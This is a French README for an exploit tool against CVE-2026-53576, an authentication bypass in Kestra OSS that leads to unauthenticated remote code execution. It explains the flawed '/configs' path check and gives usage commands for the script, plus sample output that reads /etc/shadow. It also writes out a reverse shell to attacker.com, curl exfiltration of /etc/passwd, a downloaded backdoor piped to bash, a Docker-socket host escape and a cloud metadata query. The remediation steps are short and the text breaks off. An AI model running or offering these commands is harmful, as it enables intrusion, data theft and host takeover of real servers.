
Kestra Exploit RCE non authentifié (CVE-2026-53576)
Contournement critique de l'authentification menant à une exécution de code à distance non authentifiée
Exploit • Détails de la vulnérabilité • Impact • Remédiation
Cet outil est destiné uniquement à des fins de tests de sécurité éducatifs et autorisés.
- NE PAS utiliser cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.
- NE PAS l'utiliser pour des activités illégales.
- L'auteur n'est PAS responsable de toute mauvaise utilisation de cet outil.
- À utiliser à vos PROPRES RISQUES.
CVE-2026-53576 est une vulnérabilité critique dans les versions de Kestra OSS jusqu'à v1.3.20 qui permet une exécution de code à distance non authentifiée via un contournement du filtre d'authentification.
| Attribut | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-53576 |
| Gravité | Critique (9.8 CVSS) |
| Type de vulnérabilité | Contournement d'authentification + RCE |
| Produit concerné | Kestra OSS |
| Versions concernées | ≤ v1.3.20 |
| Vecteur d'attaque | Réseau |
| Authentification requise | Aucune |
| Interaction de l'utilisateur | Aucune |
Le filtre d'authentification de Kestra contient une faille logique critique :
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Cette vérification détermine si toute requête API se termine par /configs, au lieu de correspondre à la route exacte. Cela permet aux attaquants de contourner l'authentification en ajoutant /configs à n'importe quel point de terminaison.
POST /api/v1/main/flows/configs (contourne l'authentification)POST /api/v1/main/executions/configs/configs (contourne l'authentification)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Option | Description |
|---|---|
target | Adresse IP ou nom d'hôte cible (obligatoire) |
-p, --port | Port (par défaut : 8080) |
--https | Utiliser HTTPS au lieu de HTTP |
-c, --command | Commande personnalisée à exécuter |
--docker-check | Vérifier l'accès au socket Docker |
--cleanup | Supprimer le flux après l'exploitation |
--delay | Délai entre les requêtes (par défaut : 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Sortie :
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Catégorie | Gravité | Description |
|---|---|---|
| Confidentialité | ⚠️ Critique | Lire n'importe quel fichier (mots de passe, secrets, configurations) |
| Intégrité | ⚠️ Critique | Créer/modifier/supprimer des flux et des données |
| Disponibilité | ⚠️ Élevée | Arrêt du système, épuisement des ressources |
| Authentification | ⚠️ Critique | Contournement complet de Basic-Auth |
| Élévation de privilèges | ⚠️ Critique | Les commandes s'exécutent en root (uid=0) |
| Évasion de conteneur | ⚠️ Critique | Compromission de l'hôte via le socket Docker |
Un attaquant non authentifié peut :
Exécuter des commandes arbitraires en root :
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Pivoter vers le système hôte (si le socket Docker est monté) :
docker run -v /:/host --privileged alpine chroot /host
Accéder aux métadonnées cloud (si sur un fournisseur cloud) :
curl http://169.254.169.254/latest/meta-data/
Arrêter les instances vulnérables :
sudo systemctl stop kestra
Bloquer l'accès public :
iptables -A INPUT -p tcp --dport 8080 -j DROP
Appliquer des règles de pare-feu :